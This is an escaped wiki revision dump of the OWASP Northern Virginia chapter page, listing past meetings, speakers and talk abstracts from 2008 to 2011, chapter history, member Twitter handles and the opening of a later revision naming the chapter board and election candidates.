&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' February 3, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]&lt;br /&gt;
  * Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== December 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' December 2, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
   * 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)&lt;br /&gt;
  * Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)&lt;br /&gt;
  * Social / Networking (BYOB!)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' November 4, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA&amp;lt;br&amp;gt; '''Speaker:''' Ben Tomhave&amp;lt;br&amp;gt; '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform&amp;lt;br&amp;gt; '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.&amp;lt;br&amp;gt; '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/&amp;lt;br&amp;gt; '''TOPIC''': Risk Management - Time to blow it up and start over?&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. &amp;quot;Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; '''SPECIAL SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group]. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode&amp;lt;br&amp;gt; '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== September 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Fortify 360&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360! &lt;br /&gt;
&lt;br /&gt;
The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served. &lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 3, 2009. 6:00pm.&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Conducting Application Assessment&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Jeremy Epstein, SRI&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with &amp;quot;hanging chads&amp;quot;. Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective. &lt;br /&gt;
&lt;br /&gt;
'''ABOUT THE SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': July 9th 6pm-9pm EST&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Ounce's 02&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.&amp;lt;br&amp;gt; '''DESCRIPTION''': So what is O2? &lt;br /&gt;
&lt;br /&gt;
Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People) &lt;br /&gt;
&lt;br /&gt;
Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission). &lt;br /&gt;
&lt;br /&gt;
Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review. &lt;br /&gt;
&lt;br /&gt;
Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :) &lt;br /&gt;
&lt;br /&gt;
The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''&amp;lt;br&amp;gt; Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups. &lt;br /&gt;
&lt;br /&gt;
Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group. &lt;br /&gt;
&lt;br /&gt;
Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''&amp;lt;br&amp;gt; Later, a panel: &lt;br /&gt;
&lt;br /&gt;
*Steven Lavenhar, Booz Allen Hamilton; &lt;br /&gt;
*Eric Dalci, Cigital Inc.&lt;br /&gt;
&lt;br /&gt;
Panel moderated by John Steven &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools. &lt;br /&gt;
&lt;br /&gt;
Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''&amp;lt;br&amp;gt; Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Later, &lt;br /&gt;
&lt;br /&gt;
*Nate Miller, Stratum Security; &lt;br /&gt;
*Jeremiah Grossman, Whitehat Security; &lt;br /&gt;
*Tom Brennan, Whitehat Security; and &lt;br /&gt;
*Wade Woolwine, AOL&lt;br /&gt;
&lt;br /&gt;
served as penetration testing panels answering questions posed and moderated by Ken Van Wyk. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity''' &lt;br /&gt;
&lt;br /&gt;
Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth. &lt;br /&gt;
&lt;br /&gt;
This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes. &lt;br /&gt;
&lt;br /&gt;
Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett ) &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]] &lt;br /&gt;
&lt;br /&gt;
''John Steven, Cigital'': '''Moving Beyond Top N Lists''' &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real. &lt;br /&gt;
&lt;br /&gt;
John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== January 2009  ===&lt;br /&gt;
&lt;br /&gt;
To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project. &lt;br /&gt;
&lt;br /&gt;
''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI''' &lt;br /&gt;
&lt;br /&gt;
Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices. &lt;br /&gt;
&lt;br /&gt;
Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes &amp;amp;amp; Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]] &lt;br /&gt;
&lt;br /&gt;
''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS''' &lt;br /&gt;
&lt;br /&gt;
The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies. &lt;br /&gt;
&lt;br /&gt;
Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our November 2008 meeting, we had two great presentations on software assurance and security testing. &lt;br /&gt;
&lt;br /&gt;
''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance''' &lt;br /&gt;
&lt;br /&gt;
Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]&lt;br /&gt;
&lt;br /&gt;
''Paco Hope, Cigital'': '''The Web Security Testing Cookbook''' &lt;br /&gt;
&lt;br /&gt;
The Web Security Testing Cookbook (O'Reilly &amp;amp;amp; Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort. &lt;br /&gt;
&lt;br /&gt;
Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]] &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our October 2008 meeting, we had two fascinating talks relating to forensics. &lt;br /&gt;
&lt;br /&gt;
''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats''' &lt;br /&gt;
&lt;br /&gt;
Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats] &lt;br /&gt;
&lt;br /&gt;
''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data''' &lt;br /&gt;
&lt;br /&gt;
Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data] &lt;br /&gt;
&lt;br /&gt;
=== History  ===&lt;br /&gt;
&lt;br /&gt;
The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship. &lt;br /&gt;
&lt;br /&gt;
==== Chapter Groups  ====&lt;br /&gt;
&lt;br /&gt;
Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in: &lt;br /&gt;
&lt;br /&gt;
*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling] &lt;br /&gt;
*[http://groups.google.com/group/novaowasp_mobile Mobile]&lt;br /&gt;
&lt;br /&gt;
=== OWASP NoVa Members On Twitter  ===&lt;br /&gt;
&lt;br /&gt;
Mike McCabe http://twitter.com/mccabe615 &lt;br /&gt;
&lt;br /&gt;
John Steven http://twitter.com/m1splacedsoul &lt;br /&gt;
&lt;br /&gt;
Jack Mannino http://twitter.com/jack_mannino &lt;br /&gt;
&lt;br /&gt;
Ben Tomhave http://twitter.com/falconsview &lt;br /&gt;
&lt;br /&gt;
Ken Johnson http://twitter.com/cktricky &lt;br /&gt;
&lt;br /&gt;
Mike Smith http://twitter.com/rybolov &lt;br /&gt;
&lt;br /&gt;
Trevor Hawthorn http://twitter.com/packetwerks &lt;br /&gt;
&lt;br /&gt;
Jeremy Long http://twitter.com/ctxt &lt;br /&gt;
&lt;br /&gt;
Ari Elias-Bachrach http://twitter.com/angelofsecurity &lt;br /&gt;
&lt;br /&gt;
Venkat Sundaram http://twitter.com/Vnk3889 &lt;br /&gt;
&lt;br /&gt;
==== Knowledge  ====&lt;br /&gt;
&lt;br /&gt;
The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as: &lt;br /&gt;
&lt;br /&gt;
*Threat Modeling &lt;br /&gt;
*[[Code Review and Static Analysis with tools]] &lt;br /&gt;
*Penetration Testing and Dynamic Analysis tools &lt;br /&gt;
*Monitoring/Dynamic patching (WAFs)&lt;br /&gt;
&lt;br /&gt;
Certain projects our members are involved in cross-cut these activities, providing value throughout. They include: &lt;br /&gt;
&lt;br /&gt;
*ASVS&lt;br /&gt;
&lt;br /&gt;
=== Static Analysis Curriculum  ===&lt;br /&gt;
&lt;br /&gt;
*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].&lt;br /&gt;
&lt;br /&gt;
The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter]. &lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]] &lt;br /&gt;
&lt;br /&gt;
'''Contacts'''&amp;lt;br&amp;gt; Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Flash Talk Resources  ===&lt;br /&gt;
&lt;br /&gt;
Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] &amp;lt;br&amp;gt; [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information &amp;lt;br&amp;gt; Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs&amp;gt;&amp;lt;/headertabs&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Northern Virginia&amp;lt;/paypal&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:United States]]&lt;br /&gt;
[[Category:Virginia]]&lt;br /&gt;
[[Category:Washington,_DC]]&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Virginia&amp;diff=226197</id>
		<title>Virginia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Virginia&amp;diff=226197"/>
				<updated>2017-02-09T18:16:13Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== About  ====&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge. OWASP Northern Virginia has almost 1000 members with a wide range of experience and backgrounds. We are also one of the two hosts with OWASP DC, hosting the 2016 OWASP AppSec USA Conference in Washington, DC. We'll be looking for members to help volunteer during the next few months.&lt;br /&gt;
&lt;br /&gt;
We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules. &lt;br /&gt;
&lt;br /&gt;
The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics. &lt;br /&gt;
&lt;br /&gt;
{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.&lt;br /&gt;
&lt;br /&gt;
=== Chapter Board ===&lt;br /&gt;
Previously having had a Chapter Leader, then a Chapter &amp;quot;Program Committee&amp;quot;, the chapter is now run by a full board:&lt;br /&gt;
&lt;br /&gt;
* Abdullah Munawar - Board Chair&lt;br /&gt;
* Michael McCabe&lt;br /&gt;
* Patrick Cooley&lt;br /&gt;
* Akshay Sivananda&lt;br /&gt;
* Sean Poris&lt;br /&gt;
* Ben Pick&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Board member responsibilities include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;   * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics&lt;br /&gt;
   * Recruiting OWASP membership&lt;br /&gt;
   * Driving OWASP NoVA Chapter attendance and involvement&lt;br /&gt;
   * Deferring to, facilitating, and supporting the activities and projects of chapter membership&lt;br /&gt;
   * Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions&lt;br /&gt;
   * Scouting, clearing, and scheduling chapter meeting venues and catering&lt;br /&gt;
   * Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations&lt;br /&gt;
   * Collecting and auditing use of chapter funds&lt;br /&gt;
   * Voting on chapter matters&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;amp;authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}&lt;br /&gt;
&lt;br /&gt;
You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter. &lt;br /&gt;
&lt;br /&gt;
=== 2015 Chapter Election Candidates ===&lt;br /&gt;
*Mike McCabe - Board Chair&lt;br /&gt;
**OWASP Membership ID: 020000901&lt;br /&gt;
**Endorsement - Jack Mannino, Current Board Chair&lt;br /&gt;
